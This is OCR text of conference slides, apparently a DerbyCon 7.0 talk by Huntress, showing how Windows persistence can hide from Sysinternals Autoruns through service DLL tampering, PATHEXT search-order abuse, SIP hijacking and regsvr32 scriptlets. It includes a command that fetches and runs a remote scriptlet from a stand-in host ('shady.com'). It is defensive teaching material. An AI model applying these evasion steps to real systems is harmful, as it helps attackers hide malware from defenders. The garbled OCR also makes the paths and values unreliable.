| 1% LanmanWorkstation Creates and maintains client network ... Microsoft Corporation ¢ windows \system 32 wikssve dl 61515981 1:50 AM
18 Feve This service monitors the cument loca... Microsoft Corporation ¢ windows system 32 \fsve dll 31215935 730 PM =
>

ipodservice, exe Size: 657K
iPod hardware management services Time: 9112017 6:21 PM
Apple Inc, Version: 12.7.0.166

"C:\Program FilesiPod\bin\PodService. exe”

Ready. Mo Filter,
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Shared Service R HUNTRESS

DcomLbLaunch

e DCOM Server Process Launcher
« SERVICE WIN32 SHARE PROCESS

¢ %SystemRoot%\system32\svchost.exe

ServiceDLL

¢ %SystemRoot%\system32\rpcss.dll
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Within the Registry

) HUNTRESS

B Registry Editor

File Edit WView Favontes Help

— X

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DcomLaunch

CompositeBus A || Mame Type
» CGTS}‘E‘“FP ab] (Default REG_SZ
F conEn | L ab’ Description REG 57
CoreMessagingReqistrz {hx[]is.pla}rf*»lame REG 57
Coreld| N
cphs ne ErrorControl REG DWORD
84| Failurelctions REG_BINARY
o cplspcon
..... [r-_rrptgz _
[Tl Cryptsve ab| ImagePath REG_EXPAND_SZ
..... CSC e OJECtanIe T
' CecSepvice ab| RequiredPrivileges REG_MULTI_SZ
..... dam '-’-'-ﬂ Servicebid Type REG_DWORD
. DCLocator
DcormbLaunch REG_DWORD
----- Parameters
- Eecurit}r
----- DODrver
defragsvc v

EVADING AUTORUNS - DERBYCON 7.0

[ata

(value not set)

@combase.dll -5013

@combase.dll -3012

OncDOO00D00T (1)

00 OO0 00 00 OO0 00 OO0 QOO0 QO QOO0 07 00 O0 OO OO0 OO0 QO 00 02 0O

ZebystemBRoot ¥\ systemadisvchost.exe -k Deombaunch

= o =11

SefssignPrimary TekenPrivilege SefuditPrivilege SeChangeMo
CreDO0DO0D00T (1)

O 00000020 (32)




Within the Registry

File

B Registry Editor

Edit View Favortes Help

) HUNTRESS

X

Computer\HKEY_LOCAL_MACHINE\SYSTEMACurrentContrelSet\Services\DcomlbLaunch Parameters

: CompositeBus . | Mame Type [ata
..... I:[:]MS}rE__,ﬂ._pp

i condry

_ _ 5["'1 ServiceDl| REG _EXPAMD 57 ZobystemBoot ¥\ systemadirpess.dll
CoreMessagingReqistrz

Corell|
; ..... cphs
----- cplspcon
- crypta2
- Cryptive
- CSC
. Cschervice
- dam
. DCLocator
v - | Dcomlaunch
# Parameters
T Security
----- DODrrver
. defragsvc
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Within Autoruns

VH

UNTRLESS

Ready,

rpcss, dll
\ The DCOMLAUMCH service launches Time:

Microsoft Corporation

YeSystemRoot%\system32yrposs. dll

Size: 1,060 K

Version: 6.3.15063.6038
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= Autoruns - Sysinternals: www.sysinternals.com — L] ot
File Entry Options Help
.":I &I] }’E’l |i|-| }( L; Filter:

% AppInit || KnownDLLs i Winlogon lnt Winsock Providers <2 Print Monitors fﬂ LSA Providers E" Metwork Providers :E{ﬂ WML Y Sidebar Gadgets l] Office
=7 Everything .% Logon J Explorer @& Internet Explorer l,jl Scheduled Tasks % SETVICES Drivers || Codecs [T BootExecute [T Image Hijacks
Autorun Entry Description Publisher Image Fath Timestamp i

w I_'] cplspcon Intel{R) Content Protection HOCP Ser... Intel Comporation ¢ windows \system 32 \driverstore‘file... 4/21/2017 12:15 PM

14 CryptSve Provides three management services:... Microsoft Comporation ¢ windows \system 32 cryptsve. dll F18/2025 3:.45 AM

| |14 Cschervice The Offline Files service performs mai... Microsoft Cormporation c:windows system 32 cscsve dll 12/31/2028 8:13 AM

w The DCOMLAUMNCH service launche... Microsoft Comporation cwindows'\system 32 vpcss.dl 91072018 10:27 PM

| %) defragsve Helps the computer nun more efficient... Microsoft Comporation ¢ windows \system 32 \defragsve. dll 10/19/2002 6:17 AM

4] DeviceAssociationService Enables pairing between the system ... Microsoft Corporation ¢ windows\system 32 \das dll 6/3/19563 2:30 PM

| 14 Devicelnstall Enables a computer to recognize and... Microsoft Cormporation cwindows'\system 32 umpnpmgrdl  4/8/15902 9:59 AM

%) DevicesHowlUserSve Device Discovery and Connecting Microsoft Corporation ¢ windows'\system 32 \devicesflowbr... 1/1/1908 3:13 AM

el |_'] DevicesHowUserSve 5., Device Discovery and Connecting Microsoft Corporation ¢ windows'system 32 svchost exe 47261971 10:43 AM

14 DevQGueryBroker Enables apps to discover devices wit... Microsoft Corporation ¢ windows'system 32 \devguerybrok ... 12/16/1925 2:52 AM

| 14 Dhcp Registers and updates [P addresses ... Microsoft Corporation ¢ windows \system 32 \dhcpcore dll 11/30/1504 3:56 AM =
>

9/10/2018 10:27 PM

Mo Filter.




B HUNTRESS

LET'S SHOWJEM THEBUG
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A Little Tampering.. R HUNTRESS

B Registry Editor — >,

File Edit View Favorntes Help
Computer\HEKEY_LOCAL_MACHIME\SYSTEM CurrentControlSet\Services\iPod Service\Parameters

| IKEEXT || Name Type Data
----- Indirectkmd

inetaccs
IntcAzAudAddService
IntcDAud

Intel 5torage Counters

ﬂl'ﬂ Senvicel| REG _EXPAMD 57 ZebystemBoot ¥\ system3drposs.dll

intelide
intelpep
intelppm
lorate
|pFilterDriver
- iphlpsvc

| | IPMIDRY

- IPMAT

. IPod Service

Parameters

|pxlatCigSwe
- | irda
- IREMLIM W
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Within Autoruns R HUNTRESS

= Autoruns - Sysinternals: www.sysinternals.com — >
File Entry Options Help
."d &Ll +4 |iL| x H Fitter:

% AppInit |% KnownDLLs i Winlogon ﬂ Winsock Providers  <za Print Monitors 'ﬂ LSA Providers E" Metwork Providers :EEﬂ WML Y Sidebar Gadgets I] Office
{=F Everything .% Logon J Explorer  #¥ Internet Explorer .,j Scheduled Tasks % SETVICES Drivers || Codecs  [T] BootExecute  [79 Image Hijacks
Autorun Entry Description Fublisher Image Path Timestamp &

| [8z] ighxCUlIService2.0.0.0 Service for Intel(R) HD Graphics Cont... Intel Corporation ¢ windows system 32 driverstore file... 4/21/2017 11:54 AM
|2 IKEEXT The IKEEXT service hosts the Intem... Microsoft Corporation ¢ windows system 32%keext dll 2201913 4:.35 AM
+| |2 iphlpsvc Provides tunnel connectivity using P T 8/205/1904 7:39 AM
v BNEAR iFod Service iPod hardware management services  Microsoft Corporation o windows'system 32%pess dil 910/2018 10:27 PM
| |3 IpxdatCigSve Configures and enables translation frg 4/1/1940 4.04 PM
» |2 iman Detects other Infrared devices that ar... Microsoft Corporation ¢ windows system 3Z2%mon dll 6/29/1935 6:45 PM
| % Keylso The CNG key isolation service is host... Microsoft Corporation ¢ windows system 32 eyiso dll 201952 3:.13 AM
| |2 KtmBm Coordinates transactions between th... Microsoft Corporation ¢ windows system 32 msdtckm dll 61215978 7:20 PM
| % LanmanServer Supports file, print, and named-pipe s... Microsoft Corporation ¢ windows system 32%srvsve dll 11/19/2007 4:11 AM
»] |2 LanmanWorkstation Creates and maintains client networl. ... Microsoft Corporation ¢ windows system 32 whkssvc dl 6/15/15981 1:50 AM
18 Feve This service monitors the cument loca... Microsoft Corporation ¢ windows system 32%sve dll 3121935 730 PM W
>
rpcss, dll Size: 1,060 K
iPod hardware management services Time: 9/10/2013 10:27 PM
Microsoft Corporation Version: ©6.3.15063.603
%eSystemRoot%e\system32rpess. dll
Ready, Mo Filter.
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Shady Service R HUNTRESS

B Registry Editor — >

File Edit View Faventes Help
Computer\HEKEY _LOCAL MACHIMNEVSYSTEMA CurrentContrelSet\Services\DerbyCon

- Lt A1 Mame Type Data

> <[y Cseservice ab| (Default) REG 57 (value not set)

..... carm e 1]

DCLocator
. DcombLaunch .

- DODriver ' - -

| defragsve '-’-'ﬂ Start REG_ DWORD CocDD0D0O0003 (3)

______ DellProf 1-’-'4'ﬂ Type REG DWORD CocDO0000T0 (16)
w .. | DerbyCon

P FParameters

DevicefssociationSerny
Devicelnstall
DevicesFlowlUserbve
DevicesFlowlsersve 5c
DevlueryBroker
D=
Dhecp

----- diagnosticshub.standar

. DiagTrack W
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Fake Service DLL R HUNTRESS

B Registry Editor — .

File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SYSTEMA CurrentControlSet\Services\DerbyCon'\Parameters

o e o | Mame Type Data
- Cschervice

- dam
. DCLocator
- DecomLaunch
----- DDDriver
- defragsve
.| | DellProf
v DerbyCon

ab| ServiceDll REG_EXPAND_5Z TeSystemRoot¥\systemadhcpeore.dll

. Parameters
DevicefssociationSery
Devicelnstall
DevicesFlowlsersve
DevicesFlowlserSve 5S¢
DevlueryBroker
D=
Dhep

----- diagneosticshub.standar
. DiagTrack W
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Sweet Victory! R HUNTRESS

3 Autoruns - Sysinternals: www.sysinternals.com — ] oy
File Entry Options Help
n.'EI ill }’E |iL| }( H Filter:

% AppInit (% KnownDLLs E Winlogon ﬁ Winsodk Providers <z Print Monitors '-ﬂ LSA Providers 'i" Metwork Providers :E[gﬂ WML [ Sidebar Gadgets I] Office
=} Everything é. logon 4 Explorer & Internet Explorer ] scheduled Tasks % Services Drivers || Codecs [T BootExecute  [79 Image Hijacks

Autorun Entry Description Publisher Image Path Timestamp =
1 |% Cschervice The Offline Files service peforms mai... Microsoft Corporation ¢ windowssystem 32 cscave dl 123172028 3:13 AM
+] |2 Deomlaunch The DCOMLALINCH service launche... Microsoft Corporation c:windows'system 32 mpcss dll 9102018 10:27 PM

DHCP Client Service Microsoft Comporation cwindowssystem 32 dhcpoore dll 11/30/1904 3:56 AM

Bl DebyCon

+| |2 Devicelnstal Enables a computer to recognize and... Microsoft Corporation cwindows'system 32 wmpnpmagrdl 47815902 5:59 AM
+| |2 DevicesFlowlserSve Device Discovery and Connecting Microsoft Corporation o wwindows \system 32 \devicesflowbr... 1/1/1908 3:13 AM
+| [85] DevicesFlowUserSve_5... Device Discovery and Connecting Microsoft Corporation ¢ windows system 32svchost exe 4/26/15971 10:43 AM
| |2 Dev(ueryBroker Enables apps to discover devices wit... Microsoft Corporation cwindows'system 32 devquenvbrok ... 12716715925 2:52 AM
1 |2 Dhep Reqgisters and updates |P addresses ... Microsoft Corporation ¢ windows'system 32 dhcpcore dll 11/30/1904 3:56 AM
+'| [8Z] diagnosticshub standard... Diagnostics Hub Standard Collector ...  Microsoft Corporation cwindows'system 32 diagsves'diag... 52315907 4:.48 PM W
€ >
s dhcpcore. dll Size: 357K
J DHCP Client Service Time: 11/30/1904 3:56 AM
Microsoft Corporation Version: 6.3.15063.0
%eSystemRoot%ei\system32\dhopoore. dll
Ready. Mo Filter,
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Extension Search Order Bug




WTF is Search Order? R HUNTRESS

The process of resolving the location of a desired file.

CAWindows\system32\cmd.exe _ (]

Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\User>calc.exe
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Searching for calc.exe B HUNTRESS

=¥ Process Monitor - Sysinternals: www.sysinternals.com — X

File Edit Event FHFilter Toeols Options Help

FH RABE| A B M5 LN
Time ... Process Name PID Dperaticnn Path Result Detail =
AGd L . 17096 © Er&atEFlle C:Usersi\User\calc exe NAME NOT FOLUMND Desired Access: Read Attributes
9:46:3... EMcmd.exe 17096 B []uer:.' Directory C\UserstLUsercalc exe MO SLICH FILE Filter: calc exe
9:46:3... EMcmd exe 17096 &Quew Directory  C:A\Users®\LUser\calc exe " NO SLICH FILE Filter: calc .exe.”
9:46:3... EMcmd exe 17096 Ba[]uer:.' Directory  C:\Python3g\calc exe NO SLICH FILE Filter: calc exe
9:46:3... EMcmd exe 17096 Bﬂ]uer}' Directory  C:\Python3g\calc .exe.” NO SLICH FILE Hiiter: calc .exe.”
9:46:3... EMcmd.exe 17096 Bﬂ]uer}' Directory  C:\Python 36\Scriptswcalc exe MO SLICH FILE Hilter: calc . exe
9:46:3... EMcmd.exe 17096 &Quew Directory  C:\Python 36 \Scriptscalc exe.” MO SLICH FILE Hiter: calc.exe.”
9:46:3... EMcmd exe 17096 &Guer}' Directory  C:\Program Files \Dell\DW WLAM Card‘calc.exe NO SLICH FILE Hiter: calc exe
9:46:3... EMcmd exe 17096 Ba[]uer:.' Directory  C:\FProgram Files’\Dell>DW WLAN Card\calc exe.” NO SLICH FILE Filter: calc exe.”
9:46:3... EMcmd.exe 17096 &Quew Directory  C:\Windows\System 32%calc exe SLUCCESS Filter: calc.exe, 1: calc exe W
€ >
Showing 33 of 366,481 events (0.015%) Backed by virtual memory
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Searching for calc.exe B HUNTRESS

ChWindows'system3diomd.exe

C:\Users\User>calc.exe

C:\Users\User>echo %PATH%

C:\Python36\;C:\Python36\Scripts\;C:\Program Files\Dell\DW WLAN Car
d;;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C: \Windo
ws\System32\WindowsPowerShell\v1l.0\;C:\Program Files\WIDCOMM\Blueto

oth Software\;C:\Program Files\WIDCOMM\Bluetooth Software\syswowé64,
C:\Program Fliles (x86)\NVIDIA Corporation\PhysX\Common;C:\Program F
1les (x86)\010 Editor;C:\Users\User\AppData\Local\Microsoft\Windows
Apps;;C:\Program Files (x86)\Microsoft VS Code\bin

C:\Users\User>
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Searching for calc? R HUNTRESS

C:\Users\User>calc
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Within ProcMon

) HUNTRESS

=F Process Monitor - Sysinternals: www.sysinternals.com — >
File Edit Event Filter Toecls Options Help
FEH ABE AS B A8 KB LAZH

Time ... Process Mame PID Cperation Fath Result Dletail &
9:48:0... EMcmd exe 17096 &CFE!E’[E!HE! ClUsershUser SLICCESS Desired Access: Read Datas/List
9:48:0... EMcmd exe 17096 &Quewl]irectnw C:UsershLsercale . NO SLICH FILE Filter: calc.”

9:48:0... EMcmd . exe 170596 B&UDEEF“E! C:UsersiLser SLUCCESS

9:48:0... EMcmd .exe 17096 &CreateFile C:\Python36 SLICCESS Desired Access: Read Datas/List
9:48:0... EMcmd . exe 17096 Bﬂ]uer:.'Directnr:.' C:\Python 36 calc.” NO SLICH FILE Filter: calc.”

9:48:0... EMcmd .exe 17096 B&UDEEF“E! C:\Python36 SLICCESS

9:48:0... EMcmd exe 17096 &CreateFile C:\Python 36 Scripts SLCCESS Desired Access: Read DatasList
9:48:0... EMcmd exe 170596 &Quewlﬁlirectnr:.' C:\Python 36 \5criptscalc.” NO SLICH FILE Filter: calc.”

9:48:0... EMcmd exe 17096 B&CMEEF“E! C:\Python36M\5cripts SLICCESS

9:48:0... EMcmd exe 17096 Bal:reateFile C:“Program Files“\Dell»DW WLAN Card SLICCESS Desired Access: Read DatasList
9:48:0... EMcmd.exe 17096 Ba[]uerg,'[lirectnrg,' C:\Program Files*\Dell*DW WLAN Cardcalc.” MO S5UCH FILE Filter: calc.”

9:48:0... EMcmd.exe 17 = = St '] SLICCESS

9:48:0... EMcmd . exe 1709 Bal:reateFile C:\Windows\System 32 SLICCESS Desired Access: Read DatasList
9:48:0... EMcmd exe 1704 Bﬂ]uew[]irectnw C \Windows\System32calc.” SLICCESS Filter: calc.”, 1: calc.exe
9:48:0... EMcmd exe 1709 B&EMEEF“E! C:\Windows \System 32 SLICCESS

9:48:0... EMcmd.exe 1709 B&Createl:lle C \Windows\System 32 SLICCESS Desired Access: Read Datas/List
9:48:0... EMcmd .exe 1704 B&ﬂUEF},‘DiI‘EE’[DI‘},‘ C: \Windows\System 32%calc COM MO SUCH FILE Filter: calc. COM

9:48:0... EMcmd . exe 1709 Bal:lnseﬁle C:\Windows\System 32 SLICCESS

9:48:0... EMcmd .exe 1709 B&Createﬁle C: \Windows\System 32 SLICCESS Desired Access: Read Datas/List
9:48:0... EMcmd exe 1709 &Quewl]irectnw C:\Windows '\ System 32 calc. EXE SLICCESS Filter: calc . BEXE, 1: calc exe W
£ >

Showing 119,041 of 497,731 events (23%)
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PATHEXT R HUNTRESS

ChWindows'system3diomd.exe

C:\Users\User>echo %PATHEXT%
.COM; .EXE; BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH; .MSC

C:\Users\User>
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Reinventing the Run Key

) HUNTRESS

O

File Edit View

Favorites

Help

Computer\HKEY_LOCAL_M

Policies
PowerEfficiencyliagnostics
Precision TouchPad
PreviewHandlers

Privacy

PropertySystem

Proximity
PushMotifications
Reliability

FetallDemo

Fun

FunJnce

Search
SecondaryAuthFactor
Securefszessment
Secunty and Maintenance
SettingSync

Setup

SharedAccess

SharedDLLs
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ACHIMEANSOF TWARE \Microsoftt Windows\ CurrentVersion\Eun

* || Mame

ab| (Default)

ab| AdobeAAMUpdater-1.0
31'; |A5torlcon
ab|iTunesHelper

ab| NyBackend

ab| RtHDVBg_MAXXE

Data

(value not set)

"CAProgram Files (x86)\Common Files\Adebe\DOBE\PDApp \ WAL
"CAProgram FileshIntel\Intel(R) Rapid Storage Technelogy'AStorlconl
"L Program Files\iTunestiTunesHelper.exe”

"CA\Program Files (x86]\NVIDIA Corporation\Update Core\MNvBackend.
"CAProgram Riles\Realtek Audic\HDA\RAVEgEd. exe” /MAKXKD

"CAProgram Files\Windows DefenderM5ASCull. exe”

s il TR - FEOF = SOl FEOF = = o N el




Within Autoruns

) HUNTRESS

msascuil. exe Size: 614K

Time:

Windows Defender notification icon

4.11.15063.0
"C:\Program Files\Windows Defender \MSASCuil.exe”

Microsoft Corporation version:

Ready,

EVADING AUTORUNS - DERBYCON 7.0

= Autoruns - Sysinternals: www.sysinternals.com — .
File Entry Options Help
.,'[I &Ll }’a |iL| }( L:- Filter:
% AppInit % KnownDLLs E Winlogon lj"t Winsock Providers  «za Print Monitors 'ﬂ LSA Providers 'i-" Metwork Providers :Efﬂ WMI Y Sidebar Gadgets I] Office
=7 Everything % Logon ,J. Explorer E Internet Explorer .,jl Scheduled Tasks % SErvices Drivers 4| Codecs j Boot Execute 3 Image Hijacks
Autorun Entry Diescription Publisher Image Fath Timestamp “
' :i|| RtHDOVWBg MAXXE HD Audio Background Process Realtel Semiconductor c:\program files\realtek \audio®hda“r... 8/22/2016 1:52 AM
w |'|-- RTHDOVCPL Realtek HD Audio Manager Realtel Semiconductaor c:program files‘realtek \audiovhda™rt... 8/2272016 1:56 AM
w Ea SecurtyHealth Windows Defender notification icon Microsoft Comporation c:program files'windows defender'm... 12/12/19596 3:.34 AM
el @ WavesSve Waves MaxAudio Service Application Waves Audio Lid. c:\program files'waves \maxaudio®w... 12222015 11:10 AM
ﬁ HELMWSOF TWARE W Wowe4 3Z2Node \Microsoft \Windows \Cument Version \.\Run 6/29/2017 3:01 PM
w m Acrobat Assistant 8.0 Acro Tray Adobe Systems Inc. c:program files (x86)\adobe*acrobat... /312017 2:36 PM
' Adobe Creative Cloud Adobe Creative Cloud Adobe Systems Incorporated c:program files (x36)\adobetadobe ... 6/42017 10:03 AM
' E AdobeCEFServiceMana... Adobe CEP Service Manager Adobe Systems Incorporated c:program files (x86)common filesa... 3/13/2013 8:20 AM
| [m5] LWS Logitech YWebcam Software Logitech Inc. c:program files (x36)\ogitech™ws w... 91372012 3:.37 AM
| 1 vmwaretray exe VMware Tray Process VMware, Inc. c:program files (c36)wmwarewmwar... b/112017 3:.47 AM
ﬁ HECLMNSOF TWARE Microsoft W Windows \Cument Version\Run 915/2017 413 PM W
>

12/12/1996 3:34 AM

Mo Filter.




A Little Tampering.. R HUNTRESS

i

File Edit View Favontes Help

Computer\HKEY_LOCAL _MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run
R : Policies * || Mame Type Data

----- F'DW!EFIEFFiEiEHE}fDiElgﬂDE-ti[E- E'l'; (Default) REG 57 rvalue not set]

 -Lg Precision fouchPad ab| AdobeAAMUpdater-1.0 REG_SZ "CA\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\Uf

E::?:Handlers. 31": |AStorlcon REG_S5Z "CA\Program Files\Intel\Intel(R} Rapid 5torage Technelogy'AStorlconl

5 PropertySystem i["‘x iITunesHelper REG_SZ "CAProgram Files\iTunestiTunesHelper.exe”
Prowiimity 31'1% MNvBackend REG 57 "CAProgram Files (x26)\NVIDIA Corporation'\Update Core\NvBackend.
PuchMotifications 31'1‘% RtHDVEg_MAXXE REG_S5Z "L\ Program Files\Realtek\ Audic\HDA\RAVEgDd. exe” /MAKKD
Reliability i[hx RTHDVCPL REG_5Z "Ci\Program Files\Realtek\Audic\HOg ' -5

.| RetailDemao 31'1% SecuntyHealth REG_EXPAND 52  "Ch\Program Files\Windows Defende

o Run ab | WavesSve REG_SZ "CA\Program Files\Waves\Maxddudidtreay

é ----- RunUnce

E ----- Search

----- SecondaryAuthFactor

----- Securefssessment

. Secunty and Maintenance
Settingbync

- Setup
----- SharedAccess
| | SharedDLLs v || < »
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..And A Nasty .COM File B HUNTRESS

| ] = | Application Tools  Windows Defender — L] e
File Home Share View Manage ﬂ'
i F' i - =i -
-—I:| _J an Cut « = x -il L New item u‘"’] i=| Open — Select all
w.. Copy path —T_J Easy access = Edit S5elect none
Pin to Quick Copy Paste Move Copy Delete Eename M ew Properties _
S Cress P| Paste shortcut to - to - = Folder = Histor DDImrert selection
Clipboard Crganize [N ew COpen Select
™ » ThisPC » O5(C) » Program Files > Windows Defender v | () Search Windows De... @
M M
7 Quick access
B Desktop
{ Downloads
= Documents
= Pictures
DerbyCon
Mational Guard
Cictober Dinll
Systemnzd
i Onelrive
PMSASCull.com PMSASCull. exe
Ml Tk~ N hd hd
43 items 1 item selected 27.0 KB S~
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Payload Not MSASCuil.exe B HUNTRESS

Calculator — ] X
= Programmer
HEX 0
Il DEC 0
OCT 0
BIN 0
3t QWORD MS
Lsh Rsh Or Xor Not And
0 Mod CE C & —
7 8 9 X
4 5 6 -
1 2 3 +-
( ) t 0 =
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Sexy Autoruns Bypass :] B HUNTRESS

= Autoruns - Sysinternals: www.sysinternals.com — L] x.

File Entry Options Help

Hﬂﬁﬂ}(\ L; Filter:

|9 |9

% AppInit %% KnownDLLs n Winlogon h.""x Winsock Providers  «za Print Monitors %} LSA Providers E" Metwork Providers jﬂ WMI B Sidebar Gadgets I] Office
=7 Everything -% Logon 4 Explorer g Internet Explorer .,_'F'I Scheduled Tasks % Services Drrivers +| Codecs 3 Boot Execute E Image Hijacks

Autorun Entry Description Publisher Image Fath Timestamp >
w I:ill RtHDOWEBg MAXXE HD Audio Background Process Realtek Semiconductor c:\program files‘reattek \audio“hda'r... 872272016 1:52 AM
w |'|-- RTHOVCPL Realtek HD Audio Manager Realtek Semiconductor c:\program files‘realtek \audio“\hda’... 872272016 1:56 AM
w Ea SecurtyHealth Windows Defender notification icon Microsoft Comporation c:program files'windows defender'm... 12/12/15996 3.34 AM
w @ Wavessve Waves MaxxAudio Service Application Waves Audio Lid. c:\program files‘'waves \maxaudiotw... 127222015 1110 AM
ﬁ HELMYSOF TWARE " Wowe4d 32Node \Microsoft \Windows \Cument Version.Fun 6/29/2017 3:01 PM
w E Acrobat Assistant 8.0 Acro Tray Adobe Systems Inc. c:\program files (x86)adobe‘\acrobat... 773172017 2:36 FM
w Adobe Creative Cloud Adobe Creative Cloud Adobe Systems Incorporated c:\program files (x86)adobe‘\adobe ... &/47°20717 10:03 AM
w E AdobeCEPServiceMana... Adobe CEP Service Manager Adobe Systems Incorporated c:\program files {x86)common filesha... 31372013 8:20 AM
][] LWS Logitech Webcam Software Logitech Inc. c:\program files (x86\ogitechws'w... 91372012 3:37 AM
| 1 vmwaretray exe VMware Tray Process VMware, Inc. c:\program files x86)'wmware\wmwar... 5112017 3:.47 AM
ﬁ HECLASOF TWARE \Microsoft W Windows\Cument Version \Run 9152017413 FPM W
< >

msascuil, exe Size: 614K
Windows Defender notification icon  Time: 12/12/1996 3:34 AM

"C:\Program Files\Windows Defender MSASCuilL”

Ready. Mo Filter.
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SIP Hijacking




Detailed Overview R HUNTRESS

9 Matt Graeber
amattifestation v

My keynote on "Subverting
Trust”: whitepaper:

PoC Malicious
SIP; 2/2

mattifestation/FoCSubjectinterfacePackage

FPoCSubjectinterfacePackage - A proof-of-concept subject
interface package (SIP) used to demonsirate digital signature
subversion attacks.

L]
|
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Attack Steps R HUNTRESS

Shady.exe CryptSIPVerifylndirectData
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Within Autoruns R HUNTRESS

¥ KnownDLLs @ Winlogon % Winsock Providers & Print Monitors ® LSA Providers & Network Providers & WMI  ® Sidebar Gadgets I} Office
Z Everything # Logon W Explorer @& Internet Explorer =2 Scheduled Tasks %s Services 2 Drivers Codecs = Boot Execute ™ Image Hijacks % Applnit

| T

Autorun Entry Lrescription Fublisher Image Fath Timestamp FY
#¥ HKLM\SYSTEM\CumentControl Set'Control\ SafeBoot \Atemate Shel 8/9/2017 5:50 AM

| Il cmdexe VWindows Command Processor  (Verfied) Microsoft Windows  ¢\windows'system 3. comd exe o/ 307201 7 3:10 Al
ﬂ' ~ HKLMSOFTWARE \Microsoft \Windows \Cument Version \Run 81320171257 F

J E] SecurtyHealth Windows Defender notffication ... (Verfied) Microsoft Windows  c:\program files‘\windows defender'msascuil exe 12/12/1996 1234

W4 Totally egiimate EXE cMest\notepad backdoored exe FAS2017 914 |
My HKLM\SOFTWARE \Microsoft\Active SetupInstalled Components 8/13/2017 1255 F

| 43 Google Chrome (zoogle Chrome Installer (Verfied) Google Inc c:\program files (36)\google‘\chrome‘\application'60.0.3112 S0Nnstaller'chmstp exe 8/1/2017 11:26 PI

| ml Mcrosoft Windows Windows Mail (Verfied) Microsoft Windows  ¢:'program files \windows mail \winmail exe 5/18/2022 3:10 PI

W % Microsoft Windows Media Player Microsoft Windows Media Play... (Vedfied) Microsoft YWindows  c\windows‘system 32"unregmp 2 exe FA31925 5:08 Al

W n/a Microsoft NET IE SECURITY ... (Verfied) Microsoft Comporation ¢ ‘\windows'\system 32 mscories dll 27772017 8:56 PM

i Themes Setup VWindows Theme AF [Verfied) Microsoft Windows ¢ \windows'system 32 themeui.dl 127472029 8:24 Al

+'| B Web Platform Customizations |E Per-User Initialization Lkiliy (Verfied) Microsoft Windows  ¢'\windows \system 32 ée4uinit exe 4/291980 12:20 ¢

o VWindows Desktop Update VWindows Shell Commaon DIl (Vedfied) Microsoft Windows  clwindows'gystem.2'shell . d 9/23/1912 8:14 Al
ﬂ’ ~ HKLM\SOFTWARE \Wowb432Node \Microsoft \Active Setup‘nstalled Components 492007 10:57 Al

v'| m Mcrosoft Windows Windows Mail (Verfied) Microsoft Windows  ¢:\program files (xB6) windows mail \winmail exe 7/16/1996 12:45 #

vy ﬂ Microsoft Windows Media Player Microsoft Windows Media Play... (Verfied) Microsoft Windows  c\windows syswow&4'unregmp 2 exe 6./ 2572005 11:20 f

v ﬂ. Microsoft Windows Meadia Player Microsoft Windows Media Play... (Vedfied) Microsoft Windows ¢ '\windows \syswowB4'\unregmp2 axe 6/25/2005 11:20 /
< >

714 K
Motepad Time: 7/16/2017 9:14 AM
Microsoft Corporation Version: 10.0.15063.0

notepad_backdoored.exe Size:

C:\Test\notepad_backdoored.exe
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INF Scriptlets




Scriptlets Intro R HUNTRESS

regsvr32.exe




Scriptlets Intro R HUNTRESS

regsvr32.exe /s /n /u /i:https://shady.com/file.sct scrobj.dll

regsvr32.exe scrobj.dll file.sct

EVADING AUTORUNS - DERBYCON 7.0



The Reaction R HUNTRESS

Rule Type: Execution Control i

Select the action you want performed...
Execute Action: Block ¥ | ¢ Use Policy Specific Notifier

Files when executed from the following pathis)...
Path Or File: B ccrphj dil

Only when executed by the following processies)...
Process: Specific Process. ..

<gystem=iregsvrid exe
<gystemxob=\regsvrid exe

Only when executed by a user matching the following user/group account(s)...
User Or Group: Anv User i

Rule Applies To: e All policies
Selected policies

EVADING AUTORUNS - DERBYCON 7.0




Within Autoruns R HUNTRESS

=]
File Entry Options User Help

Hﬂﬁﬂ}(\ L; Filter:

|9 |9

% AppInit %% KnownDLLs n Winlogon h.""x Winsock Providers  «za Print Monitors %} LSA Providers E" Metwork Providers jﬂ WMI B Sidebar Gadgets I] Office
=7 Everything -% Logon 4 Explorer g Internet Explorer .,_'F'I Scheduled Tasks % Services Drrivers +| Codecs 3 Boot Execute E Image Hijacks

|| Autorun Entry Description Publisher Image Fath Timestamp >
. ﬁ HEKLMYS0F TWARE Microsoft '“Windows\Cument Version \Run 9232017 4:22 PM |
' +| [m] AdobeAf&MUpdater-1.0  Adobe Updater Startup Lkility Adobe Systems Incorporated c:\program files {x86)common filesha... 62972016 3:259 AM
| [15 Microsoft(C) Reqister Server Microsoft Comporation cwindows'systemdZregsvriZ exe 62452007 2:32 PM
, ~| [mz] 1AStorlcon Delayed launcher Intel Comporation c:\program filesintel\intellr) rapid stor... 11772017 12:32 PM |
| w l.£_5 i TunesHelper i TunesHelper Apple Inc. c:\program files‘\tunes ituneshelper.e... 9112017 6:21 PM |
w I MNvBackend NVIDIA Backend NVIDIA Comporation c:\program files (x86) \nvidia comporati... 61452016 6:359 AM |
: ol Eill FtHDWBg_ MAXXE HD Audio Background Process Realtek Semiconductor c:\program files‘reattek \audio“hda'r... 872272016 1:52 AM :
| w |'|-- RTHOVCPL Realtek HD Audio Manager Realtek Semiconductor c:\program files‘realtek \audio“\hda’... 872272016 1:56 AM
| w EH SecurtyHealth Windows Defender notification icon Microsoft Comporation c:\program files‘windows defender'm... 12/12/75996 3.34 AM
w @ Wavesive Waves MaxxAudio Service Application Waves Audio Lid. c:\program files‘'waves \maxaudio’w... 127222015 11:10 AM
| ﬁ HELMYSOF TWARE Y Wowed 32Node \Microsoft \Windows \Cument Version“\Run 6292017 3.01 PM W
|| € >
— regsvriz.exe Size: 23K
. =

| Microsoft{C) Register Server Time: 6242007 2:32 PM

|
regsvr3Z.exe fs /n ju fi:https: (fshady.com/file.sct scrobj.dll

Ready. Windows Enfries Hidden.
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Y VddL 4

nakeameme.org|
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= Microsoft Technologies ~ Documentation - Resources - jo.

Hardware Dev Center Explore ~ Docs Downloads ~ Samples Dashboard
Docs [/ Windows Hardware / Windows Drivers / Install
(=] Comments 7 Edit 3 Share | Theme Light

INF UnregisterDlls Directive

04/20/2017 = 1 minutes to read = Contributors 4

—

Directive -

